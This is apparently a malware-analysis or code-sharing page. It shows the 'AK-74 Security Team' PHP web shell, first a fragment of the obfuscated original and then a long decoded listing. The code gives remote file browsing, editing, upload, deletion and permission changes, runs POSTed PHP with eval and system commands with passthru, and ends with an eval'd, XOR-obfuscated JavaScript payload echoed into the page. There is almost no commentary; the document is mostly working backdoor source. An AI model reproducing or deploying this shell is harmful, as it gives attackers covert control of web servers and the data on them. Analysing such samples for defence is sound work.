601    case "chmod":
602        ${$GLOBALS["lvsmiwfpysj"]} .= $shell->chmodform($_GET["file"]);
603        break;
604    case "down":
605        ${$GLOBALS["iknpldrpigo"]} .= $shell->downloadfile($_GET["file"]);
606        break;
607    case "filemanager":
608        if ($_GET["act2"] == "del") {
609            ${$bxmeyfko} .= $shell->removefile();
610        }
611        ${$GLOBALS["iknpldrpigo"]} .= $shell->outputfilemanager();
612        if ($_GET["act3"] == "del") {
613            ${$hilzzmbb} .= $shell->removedir();
614        }
615        break;
616    case "phpinfo":
617        phpinfo();
618        die;
619    case "info":
620        ${$bcaxbgujhqyk} .= $shell->outputinfo();
621        break;
622    case "execute":
623        ${$GLOBALS["iknpldrpigo"]} .= $shell->executeform();
624        break;
625    case "exesys":
626        ${$GLOBALS["iknpldrpigo"]} .= $shell->exesysform();
627        break;
628}
629${$GLOBALS["iknpldrpigo"]} .= $shell->outputdown();
630echo ${$osezbewemuin};
631echo "<center>Generation time: " . ($shell->getmicrotime() - ${$GLOBALS["olmwrdqid"]}) . "</center>";
632echo "<script type=\"text/javascript\">\n<!-- \neval(unescape('%66%75%6e%63%74%69%6f%6e%20%70%34%32%64%38%63%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%32%31%30%38%35%35%37%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%38%35%36%31%36%32%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%37%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));\neval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%70%34%32%64%38%63%28%27') + '%30%6b%5b%62%63%6e%6e%11%69%6d%5d%30%19%64%6a%6a%60%32%2f%2b%78%75%76%26%6d%2c%35%20%67%57%66%20%6e%63%2d%74%5b%75%5e%67%74%2f%55%63%74%24%6b%69%1d%36%33%2a%69%5b%6c%6b%68%6a%3412108557%35%37%37%39%31%37%33' + unescape('%27%29%29%3b'));\n// -->\n</script>\n";

Decoded(de-Obfuscated) php code

view sourceprint?
001<?php
002 
003$GLOBALS["iknpldrpigo"] = "content";
004$GLOBALS["olmwrdqid"] = "timestart";
005$GLOBALS["fdxvupxbx"] = "shell";
006$hilzzmbb = "content";
007$GLOBALS["shdxowcvsq"] = "fp";
008$GLOBALS["kdhmhcnuk"] = "files";
009$GLOBALS["hdyzecu"] = "number";
010$GLOBALS["gyyylpy"] = "content";
011$GLOBALS["cvvtiemv"] = "dirs";
012$nfhhbmkrpia = "content";
013$bcaxbgujhqyk = "content";
014$GLOBALS["kqhombvoisgz"] = "xshell";
015$GLOBALS["nwkrhqdzrcw"] = "res";
016$GLOBALS["fzszjgc"] = "info";
017$GLOBALS["fvyvgcirdxx"] = "path";
018$GLOBALS["pgctubg"] = "perms";
019$GLOBALS["kmdyudoev"] = "sec";
020$GLOBALS["xcglkyuot"] = "dir";
021$GLOBALS["hoyoqwd"] = "mas";
022$GLOBALS["vtpgxuvxbi"] = "file";
023$osezbewemuin = "content";
024$GLOBALS["dwjodtpv"] = "handle";
025$GLOBALS["wdyvqrczdgu"] = "i";
026error_reporting(0);
027$dbmeztzpbjd = "content";
028@set_time_limit(0);
029$yuabcquera = "xshell";
030$fridqpc = "SERVER_";
031session_start();
032$wupyapffrye = "content";
033$xshell = $SERVER_["PHP_SELF"];
034class shell
035{
036    function getfiles()
037    {
038        $GLOBALS["qzgebdlknl"] = "mas";
039        $qeosfvpx = "mas";
040        $mas = array();
041        $i = 0;
042        if ($handle = opendir($_SESSION["currentdir"])) {
043            $GLOBALS["qmdtpcoeduj"] = "handle";
044            $GLOBALS["zoaynvkz"] = "file";
045            while (false !== ($file = readdir($handle))) {
046                if ($file != "..") {
047                    if (!is_dir($_SESSION["currentdir"] . "/" . $file)) {
048                        $GLOBALS["sntlhgwvrnz"] = "file";
049                        $GLOBALS["mpyjuxikn"] = "i";
050                        $iwkugxydfbd = "file";
051                        $qjtflnyw = "mas";
052                        $nqlxlnj = "i";
053                        $zibzmuilrsk = "i";
054                        $mas[$i]["filename"] = $file;
055                        $GLOBALS["nhauqglig"] = "mas";
056                        $vpezessuwf = "i";
057                        $mas[$i]["filesize"] = filesize($_SESSION["currentdir"] . "/" . $file);
058                        $mas[$i]["lastmod"] = date("H.i/d.m.Y", filemtime($_SESSION["currentdir"] . "/" . $file));
059                        $i++;
060                    }
061                }
062            }
063            closedir($handle);
064        }
065        return $mas;
066    }
067    function getdirs()
068    {
069        $ovnbdybfxfn = "mas";
070        $GLOBALS["mscjpo"] = "mas";
071        $mas = array();
072        if ($handle = opendir($_SESSION["currentdir"])) {
073            $GLOBALS["hobugedqduo"] = "dir";
074            $GLOBALS["xwlfufyf"] = "handle";
075            while (false !== ($dir = readdir($handle))) {
076                $GLOBALS["iebmlxxk"] = "dir";
077                $qiwjehuaq = "dir";
078                $ulkfkgvahbq = "mas";
079                if ($dir != "." && is_dir($_SESSION["currentdir"] . "/" . $dir)) {
080                    $mas[] = $dir;
081                }
082            }
083            closedir($handle);
084        }
085        return ${$ovnbdybfxfn};
086    }
087    function geturl()
088    {
089        if ($_SESSION["currentdir"] . "/" == $_SERVER["DOCUMENT_ROOT"]) {
090            return "/";
091        }
092        if (strpos($_SESSION["currentdir"], str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"])) === false) {
093            return "";
094        }
095        return str_replace($_SERVER["DOCUMENT_ROOT"], "", $_SESSION["currentdir"] . "/");
096    }
097    function removefile()
098    {
099        if (file_exists($_GET["file"])) {
100            chmod($_GET["file"], 0777);
101            if (unlink($_GET["file"])) {
102                return "File deleted!";
103            } else {
104                return "File deleted!";
105            }
106        } else {
107            return "File not found!";
108        }
109    }
110    function removedir()
111    {
112        chmod($_GET["dir"], 0777);
113        if (rmdir($_GET["dir"])) {
114            return "Directory deleted!";
115        } else {
116            return "Directory not found!";
117        }
118    }
119    function getmicrotime()
120    {
121        $GLOBALS["azoxuqxbstyx"] = "sec";
122        $nyzhvmuivi = "usec";
123        $GLOBALS["gpoxftmel"] = "usec";
124        list($usec, $sec) = explode(" ", microtime());
125        return (double) $usec + (double) $sec;
126    }
127    function getpermission($path)
128    {
129        $xienitv = "info";
130        $pmibkwbh = "info";
131        $qusckboendqg = "info";
132        $umyijesr = "info";
133        $sxhrms = "info";
134        $tynbdsso = "info";
135        $perms = fileperms($path);
136        $tyfxbbfd = "perms";
137        $qelozowxyjq = "perms";
138        $wuyjuf = "perms";
139        $qgfxtbdfnruf = "perms";
140        $siebgehypj = "info";
141        $pkgutlld = "perms";
142        $GLOBALS["uchwntfz"] = "info";
143        $GLOBALS["jckaac"] = "perms";
144        if (($perms & 0xc000) == 0xc000) {
145            $info = "s";
146        } elseif (($perms & 0xa000) == 0xa000) {
147            $info = "l";
148        } elseif (($perms & 0x8000) == 0x8000) {
149            $info = "-";
150        } elseif (($perms & 0x6000) == 0x6000) {
151            $info = "b";
152        } elseif (($perms & 0x4000) == 0x4000) {
153            $info = "d";
154        } elseif (($perms & 0x2000) == 0x2000) {
155            $info = "c";
156        } elseif (($perms & 0x1000) == 0x1000) {
157            $info = "p";
158        } else {
159            $info = "u";
160        }
161        $info .= $perms & 0x100 ? "r" : "-";
162        $info .= $perms & 0x80 ? "w" : "-";
163        $info .= $perms & 0x40 ? $perms & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-");
164        ${$qusckboendqg} .= $perms & 0x20 ? "r" : "-";
165        $fctqxhk = "info";
166        $info .= ${$tyfxbbfd} & 0x10 ? "w" : "-";
167        $info .= $perms & 0x8 ? $perms & 0x400 ? "s" : "x" : ($perms & 0x400 ? "S" : "-");
168        $GLOBALS["xqayvij"] = "perms";
169        $info .= $perms & 0x4 ? "r" : "-";
170        ${$umyijesr} .= $perms & 0x2 ? "w" : "-";
171        ${$tynbdsso} .= $perms & 0x1 ? $perms & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-");
172        return ${$fctqxhk};
173    }
174    function getpermissionarray($path)
175    {
176        $iaorpkyboh = "res";
177        $GLOBALS["ffvutedscs"] = "perms";
178        $res = array();
179        $GLOBALS["mospvgr"] = "path";
180        $perms = fileperms($path);
181        $GLOBALS["secvlqatfohv"] = "perms";
182        $GLOBALS["bzngcqtouq"] = "perms";
183        $GLOBALS["aboxvtoyg"] = "perms";
184        $filvvij = "perms";
185        $GLOBALS["woyxpuac"] = "res";
186        $GLOBALS["mdbgzpglccyj"] = "perms";
187        $ccbjnaxobblr = "res";
188        $otymmkoxf = "res";
189        $fbhqupebtq = "res";
190        $GLOBALS["vdddnl"] = "res";
191        $gkufmuhelf = "res";
192        if (($perms & 0xc000) == 0xc000) {
193            $res[] = "s";
194        } elseif (($perms & 0xa000) == 0xa000) {
195            $res[] = "l";
196        } elseif (($perms & 0x8000) == 0x8000) {
197            $res[] = "-";
198        } elseif (($perms & 0x6000) == 0x6000) {
199            $res[] = "b";
200        } elseif (($perms & 0x4000) == 0x4000) {
201            $res[] = "d";
202        } elseif (($perms & 0x2000) == 0x2000) {
203            $res[] = "c";
204        } elseif (($perms & 0x1000) == 0x1000) {
205            $res[] = "p";
206        } else {
207            $res[] = "u";
208        }
209        $GLOBALS["nfmqqbwyhr"] = "perms";
210        $res[] = $perms & 0x100 ? "r" : "-";
211        $GLOBALS["rmhkov"] = "res";
212        $res[] = $perms & 0x80 ? "w" : "-";
213        $res[] = $perms & 0x40 ? $perms & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-");
214        $res[] = $perms & 0x20 ? "r" : "-";
215        $res[] = $perms & 0x10 ? "w" : "-";
216        ${$fbhqupebtq}[] = $perms & 0x8 ? ${$filvvij} & 0x400 ? "s" : "x" : ($perms & 0x400 ? "S" : "-");
217        $GLOBALS["gxyvyqrjw"] = "perms";
218        ${$otymmkoxf}[] = $perms & 0x4 ? "r" : "-";
219        $eyjzgfr = "perms";
220        $res[] = $perms & 0x2 ? "w" : "-";
221        ${$gkufmuhelf}[] = $perms & 0x1 ? $perms & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-");
222        return ${$iaorpkyboh};
223    }
224    function outputhead()
225    {
226        $yeyubpcd = "res";
227        $res = "";
228        $res = "<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"></head>\n<body>\n<STYLE>\nA:link {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:active {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:visited {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:hover {\n\tCOLOR: #C10000; TEXT-DECORATION: underline\n}\nTD {\n\tFONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica\n}\nBODY {\n\tFONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc; \n}\n</STYLE>\n<div align=\"center\"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid\">\n <tr>\n  <td colspan=7 align=\"center\">\n   <b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: \n::.</font></b>\n  </td>\n </tr>";
229        return $res;
230    }
231    function outputmenu()
232    {
233        $eblbmi = "xshell";
234        $GLOBALS["omlmyuabmc"] = "res";
235        $jrizoflsr = "xshell";
236        $GLOBALS["kzvefdrkoqf"] = "res";
237        $res = "";
238        $txbsfjnhvi = "xshell";
239        $res .= "<tr>\n  <td colspan=7 align=\"center\">\n   <table border=0 cellspacing=0 cellpadding=0>\n    <tr align=\"center\">\n\t <td width=150>\n\t  <a href=\"" . $xshell . "?act=info\">General information</a>\n\t </td>\n\t <td width=150>\n\t  <a href=\"" . $xshell . "?act=filemanager\">File manager</a>\n\t </td>\n\t <td width=80>\n\t  <a href=\"" . $xshell . "?act=phpinfo\" target=\"_blank\">phpinfo()</a>\n\t </td>\n\t <td width=110>\n\t  <a href=\"" . $xshell . "?act=execute\">Run PHP</a>\n\t </td>\n\t <td width=150>\n\t  <a href=\"" . $xshell . "?act=exesys\">Execute the command</a>\n\t </td>\n      </tr>\n   </table>\n  </td>\n </tr>";
240        return $res;
241    }
242    function outputdown()
243    {
244        $res = "";
245        $GLOBALS["srzeskty"] = "res";
246        $res = "</table></div></body></html>";
247        return $res;
248    }
249    function outputfilemanager()
250    {
251        $GLOBALS["udmmztjca"] = "xshell";
252        $GLOBALS["ychruqucrf"] = "xshell";
253        $powlcxkoeay = "files";
254        $shvztfinhxe = "dirs";
255        $ckrwmyieozcl = "res";
256        $GLOBALS["vmuyoysyoe"] = "res";
257        $GLOBALS["orpfxw"] = "res";
258        $GLOBALS["tuwswjh"] = "res";
259        $GLOBALS["acmzbxffk"] = "res";
260        $res = "";
261        $GLOBALS["vdtvfpbhyru"] = "number";
262        $uxuysqwhok = "files";
263        $number = 0;
264        $GLOBALS["sejtvw"] = "dirs";
265        $qflffdcxsrx = "i";
266        $dirs = $this->getdirs();
267        $files = $this->getfiles();
268        $GLOBALS["asxszifet"] = "i";
269        sort($dirs);
270        sort($files);
271        $res .= "\n <tr>\n  <td colspan=7 align=\"center\">\n  <font color=#830000> The current directory:</font><b><font color=#830000>" . $_SESSION["currentdir"] . "</font></b>\n  </td>\n </tr>\n <tr align=\"center\">\n  <td width=30>\n   &nbsp;\n  </td>\n  <td width=330>\n   &nbsp;\n  </td>\n  <td width=80><font color=#830000>,</font> <b><font color=#830000>byte</font></b>\n   &nbsp;\n  </td>\n  <td width=120><font color=#830000>\n   Recent change\n   </font>\n  </td>\n  <td width=80 align=\"center\"><font color=#830000>Access right</font>\n   &nbsp;\n  </td>\n  <td width=30>\n   &nbsp;\n  </td>\n  <td width=30>\n   &nbsp;\n  </td>\n </tr>";
272        $kshyqqibce = "i";
273        $hjbbitpe = "res";
274        $GLOBALS["wyqypgtjmi"] = "i";
275        for ($i = 0; ${$qflffdcxsrx} < count(${$shvztfinhxe}); $i++) {
276            $GLOBALS["vapieoe"] = "res";
277            $wokhmi = "xshell";
278            $GLOBALS["uvckfgaxtwdw"] = "res";
279            $kwqcswqlscsg = "i";
280            $GLOBALS["wjjxsx"] = "xshell";
281            $GLOBALS["bbrtstbve"] = "dirs";
282            $GLOBALS["jeyjcbtlodsa"] = "dirs";
283            $GLOBALS["ywnqtawj"] = "i";
284            $GLOBALS["fxthzy"] = "dirs";
285            $res .= "<tr><td><b><font color=#830000>" . ++$number . "</font></b></td><td><b><a href=\"" . $xshell . "?act=filemanager&dir=" . $dirs[$i] . "\">" . $dirs[$i] . "</a></b></td><td>&nbsp;</td><td>&nbsp;</td><td>";
286            $res .= "<a href=\"" . $xshell . "?act=chmod&file=" . $_SESSION["currentdir"] . "/" . $dirs[$i] . "\">" . $this->getpermission($_SESSION["currentdir"] . "/" . $dirs[$i]) . "</a>";
287            $res .= "</td><td>&nbsp;</td><td><a href=\"" . $xshell . "?act=filemanager&act3=del&dir=" . $_SESSION["currentdir"] . "/" . $dirs[$i] . "\">delete</a></td></tr>";
288        }
289        for (${$kshyqqibce} = 0; $i < count($files); $i++) {
290            $GLOBALS["gkyyblyqymf"] = "i";
291            $fwvwil = "files";
292            $vdxzvdus = "res";
293            $gruvymtvqist = "xshell";
294            $GLOBALS["qwtxsjlqhhf"] = "files";
295            $evvwgjhmulxe = "files";
296            $GLOBALS["tefzqpvhph"] = "files";
297            $GLOBALS["omvsytrtatv"] = "i";
298            $GLOBALS["ypsmanoevl"] = "i";
299            $wpdhhfskcteg = "i";
300            $ihduysxmqju = "res";
301            $GLOBALS["tkghkgf"] = "res";
302            $res .= "<tr><td><b><font color=#830000>" . ++$number . "</font></b></td>";
303            $res .= "<td><a href=\"" . $xshell . "?act=down&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">" . $files[$i]["filename"] . "</a></td>";
304            $res .= "<td>&nbsp;&nbsp;" . $files[$i]["filesize"] . "</td>";
305            $khftnbmpvvs = "xshell";
306            $res .= "<td align=\"center\">" . $files[$i]["lastmod"] . "</td>";
307            $res .= "<td align=\"center\"><a href=\"" . $xshell . "?act=chmod&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">" . $this->getpermission($_SESSION["currentdir"] . "/" . $files[$i]["filename"]) . "</a></td>";
308            $tomphosfc = "res";
309            $res .= "<td align=\"center\"><a href=\"" . $xshell . "?act=edit&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">edit</a></td>";
310            $res .= "<td align=\"center\"><a href=\"" . $xshell . "?act=filemanager&act2=del&file=" . $_SESSION["currentdir"] . "/" . $files[$i]["filename"] . "\">delete</a></td></tr>";
311        }
312        ${$ckrwmyieozcl} .= "</table><br>";
313        $res .= "<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid\">";
314        $pykgqvz = "res";
315        $res .= "<tr><td align=center><form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"mkdir\"><b><font color=#830000> :</b></font> </td><td><input type=\"text\" name=\"dircreate\"><input type=\"submit\" value=\"\"></form></td></tr>";
316        $res .= "<tr><td align=center><form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"createfile\"><b><font color=#830000> :</b></font></td><td> <input type=\"text\" name=\"filecreate\"><input type=\"submit\" value=\"\"></form></td></tr>";
317        $res .= "<tr><td align=center><form enctype=\"multipart/form-data\" action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"uploadfile\"><b><font color=#830000> :</font></b></td><td><input type=\"file\" name=\"filename\" size=\"23\"> <b><font color=#830000>  </b></font></td><td> <input type=\"text\" name=\"filename2\"><input type=\"submit\" value=\"\"></form></td></tr>";
318        $res .= "<table border=0 width=\"700\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">";
319        ${$hjbbitpe} .= "<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
320        return ${$pykgqvz};
321    }
322    function outputinfo()
323    {
324        $vbgcqwfncvvz = "res";
325        $myhjur = "res";
326        $res = "";
327        $res .= "<tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>General information about the server</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"left\"><br>\n   <ol>\n    <b><font color=#830000>1. OS - </font></b><font color=#830000>" . php_uname() . "</font><br><br>\n    <b><font color=#830000>2.   PHP - </font></b><font color=#830000>" . phpversion() . "</font><br><br>\n    <b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - " . get_current_user() . " <b><font color=#830000>|| User ID</font></b> - " . getmyuid() . " <b><font color=#830000>|| Group ID</b></font> - " . getmygid() . "</font><br><br>\n    <b><font color=#830000>4. Server Software - </font></b><font color=#830000>" . getenv("SERVER_SOFTWARE") . "</font><br><br>\n    <b><font color=#830000>5. Request Method - </font></b><font color=#830000>" . getenv("REQUEST_METHOD") . "</font><br><br>\n    <b><font color=#830000>6. Server IP - </font></b><font color=#830000>" . getenv("SERVER_ADDR") . "</font><br><br>\n    <b><font color=#830000>7. Your IP - </font></b><font color=#830000>" . getenv("REMOTE_ADDR") . "</font><br><br>\n\t<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>" . getenv("HTTP_X_FORWARDED_FOR") . "</font><br><br>\n</td>\n </tr>\n <table border=0 width=\"555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
328        return $res;
329    }
330    function chmodform($file)
331    {
332        $istixexbyxa = "file";
333        $nrugpeehr = "res";
334        $yvdvvaai = "i";
335        $GLOBALS["nwfedck"] = "perms";
336        $fewqjextf = "file";
337        $perms = $this->getpermissionarray($file);
338        $GLOBALS["ynokejbtuh"] = "perms";
339        $GLOBALS["ngqiunigukfh"] = "perms";
340        $uizdfjdf = "res";
341        $hammouvne = "i";
342        $GLOBALS["ykexebt"] = "res";
343        $GLOBALS["pefltgfgwzb"] = "i";
344        $res = "";
345        $res .= "<form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"chmod\">" . "<input type=\"hidden\" name=\"file\" value=\"" . $file . "\">\n <tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Changing access permissions</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0>";
346        $ftrxmefkqxh = "i";
347        $res .= "<tr align=\"center\"><td>&nbsp;</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td></tr>";
348        $GLOBALS["yggjmwlv"] = "res";
349        $res .= "<tr><td><input type=\"hidden\" name=\"perms0\" value=\"" . $perms[0] . "\">" . $perms[0] . "</td>";
350        for ($i = 1; $i <= 9; $i++) {
351            $res .= "<td><input type=\"checkbox\" name=\"perms" . ${$ftrxmefkqxh} . "\"" . ($perms[${$yvdvvaai}] != "-" ? " checked" : "") . "></td>";
352        }
353        $res .= "</tr><tr><td colspan=10 align=\"right\"><input type=\"submit\" value=\"Save\"></td></tr>";
354        $res .= "</table></td></tr></form>";
355        return $res;
356    }
357    function editfileform($file)
358    {
359        $rwaotihpr = "fp";
360        $GLOBALS["wcqoifupsbh"] = "file";
361        $yyvjrmlhyubj = "fp";
362        $fp = fopen($file, "r");
363        if (!$fp) {
364            return " ";
365        }
366        $res = "";
367        $zeleyib = "res";
368        $hjrxrmu = "res";
369        $GLOBALS["ryysceaq"] = "res";
370        $GLOBALS["yjdeuf"] = "res";
371        $GLOBALS["kwyxxau"] = "file";
372        $res .= "<form action=\"" . $xshell . "?act=filemanager\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"editfile\">" . "<input type=\"hidden\" name=\"file\" value=\"" . $file . "\"><tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Edit the file</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0>";
373        $res .= "<tr><td><textarea rows=25 cols=100 name=\"filecontent\">" . htmlspecialchars(fread(${$rwaotihpr}, filesize($file))) . "</textarea></td></tr>";
374        $res .= "<tr><td align=\"right\"><b><font color=#830000>Rename:</font></b> <INPUT TYPE=TEXT NAME=rename size=100 maxlength=9999999 value=" . $file . "> - <input type=\"submit\" value=\"Edit\"></td></tr>";
375        $res .= "</table></td></tr></form>";
376        fclose(${$yyvjrmlhyubj});
377        return $res;
378    }
379    function executeform()
380    {
381        $GLOBALS["gbbivqermof"] = "xshell";
382        $GLOBALS["jcoxegkjqmx"] = "res";
383        $res = "";
384        $res .= "<form action=\"" . $xshell . "?act=execute\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"execute\">\n <tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Executing PHP code<br> Opening and closing PHP code ( &lt;?  ?> ) no need to write!</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=20 cols=80 name=\"phpcode\">";
385        $res .= "</textarea></td></tr><tr><td align=\"right\"><input type=\"submit\" value=\"\"></td></tr></table></td></tr>\n <table border=0 width=\"555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
386        return $res;
387    }
388    function execute()
389    {
390        echo "<hr>";
391        echo "<pre>";
392        eval(stripslashes($_POST["phpcode"]));
393        echo "</pre>";
394        echo "<hr>";
395    }
396    function exesysform()
397    {
398        $husxnjellv = "res";
399        $res = "";
400        $GLOBALS["lmwlmrqw"] = "res";
401        $GLOBALS["ubwopher"] = "res";
402        $res .= "<form action=\"" . $xshell . "?act=exesys\" method=\"post\"><input type=\"hidden\" name=\"action\" value=\"exesys\">\n <tr>\n  <td align=\"center\" colspan=7>\n   <b><font color=#83000>Execute system commands!</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center\">\n   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=5 cols=80 name=\"cmmd\">";
403        $res .= "</textarea></td></tr><tr><td align=\"right\"><input type=\"submit\" value=\"Perform\"></td></tr></table></td></tr>\n <table border=0 width=\"555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"https://www.r57.gen.tr/\" title=\"r57.gen.tr\">r57.gen.tr</a> - <a href=\"http://ak74-team.net\" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - " . date("Y") . "</font></b></td></tr>";
404        return $res;
405    }
406    function exesys()
407    {
408        $GLOBALS["yvcpokfc"] = "result";
409        echo "<hr>";
410        echo "<pre>";
411        $result = passthru($_POST["cmmd"]);
412        echo "</pre>";
413        echo "<hr>";
414    }
415    function editfile($file)
416    {
417        if (!empty($_POST["rename"])) {
418            rename($_POST["file"], $_POST["rename"]);
419        }
420        $fp = fopen($_POST["rename"], "w");
421        if (!$fp) {
422            return 0;
423        }
424        fwrite($fp, stripslashes($_POST["filecontent"]));
425        fclose($fp);
426        return 1;
427    }
428    function chmodfile($file)
429    {
430        $tpmdfbgb = "res";
431        $ipjaivcsdnlk = "res";
432        $sgwdghqlhfy = "res";
433        $GLOBALS["pufgvr"] = "res";
434        $fcpofletrcs = "res";
435        $GLOBALS["ikiudyniptdh"] = "res";
436        $GLOBALS["lzykxw"] = "res";
437        $hlfwyxuk = "res";
438        $feixofkogs = "res";
439        $tulbauxmvcdt = "res";
440        $txyrsfflh = "res";
441        $res = 0;
442        $gorewqwudp = "res";
443        switch ($_POST["perms0"]) {
444            case "s":
445                $res |= 0xc000;
446                break;
447            case "l":
448                $res = ${$gorewqwudp} | 0xa000;
449                break;
450            case "-":
451                ${$hlfwyxuk} |= 0x8000;
452                break;
453            case "b":
454                $res |= 0x6000;
455                break;
456            case "d":
457                $res |= 0x4000;
458                break;
459            case "c":
460                $res |= 0x2000;
461                break;
462            case "p":
463                $res |= 0x1000;
464                break;
465            case "u":
466                break;
467        }
468        $GLOBALS["xeomnnbyudw"] = "res";
469        if (isset($_POST["perms1"])) {
470            $res |= 0x100;
471        }
472        if (isset($_POST["perms2"])) {
473            $res = ${$tpmdfbgb} | 0x80;
474        }
475        if (isset($_POST["perms3"])) {
476            $res = ${$txyrsfflh} | 0x40;
477        }
478        if (isset($_POST["perms4"])) {
479            ${$feixofkogs} = $res | 0x20;
480        }
481        if (isset($_POST["perms5"])) {
482            $res |= 0x10;
483        }
484        if (isset($_POST["perms6"])) {
485            $res = ${$tulbauxmvcdt} | 0x8;
486        }
487        if (isset($_POST["perms7"])) {
488            $res = ${$fcpofletrcs} | 0x4;
489        }
490        if (isset($_POST["perms8"])) {
491            $res |= 0x2;
492        }
493        if (isset($_POST["perms9"])) {
494            $res |= 0x1;
495        }
496        echo substr(sprintf("%o", $res), 4);
497        return chmod($file, intval(substr(sprintf("%o", $res), 4), 8));
498    }
499    function downloadfile($file)
500    {
501        $jehqknntr = "file";
502        header("Content-Type: application/octet-stream");
503        header("Content-Length: " . filesize($file));
504        header("Content-Disposition: attachment; filename={$file}");
505        readfile($file);
506        die;
507    }
508    function createdir()
509    {
510        if (!empty($_POST["dircreate"])) {
511            if (mkdir($_SESSION["currentdir"] . "/" . $_POST["dircreate"])) {
512                return "Directory created!";
513            }
514        }
515        return "Error creating directory";
516    }
517    function createfile()
518    {
519        if (!empty($_POST["filecreate"])) {
520            $GLOBALS["lwhsyzdtepf"] = "fp";
521            if (file_exists($_SESSION["currentdir"] . "/" . $_POST["filecreate"])) {
522                return "  ";
523            }
524            $fp = fopen($_SESSION["currentdir"] . "/" . $_POST["filecreate"], "w");
525            if ($fp) {
526                $nwmcqdkwk = "fp";
527                fclose($fp);
528                return " !";
529            }
530        }
531        return "Error creating file";
532    }
533    function uploadfile()
534    {
535        if ($_FILES["filename"]["error"] != 0) {
536            return "121212";
537        }
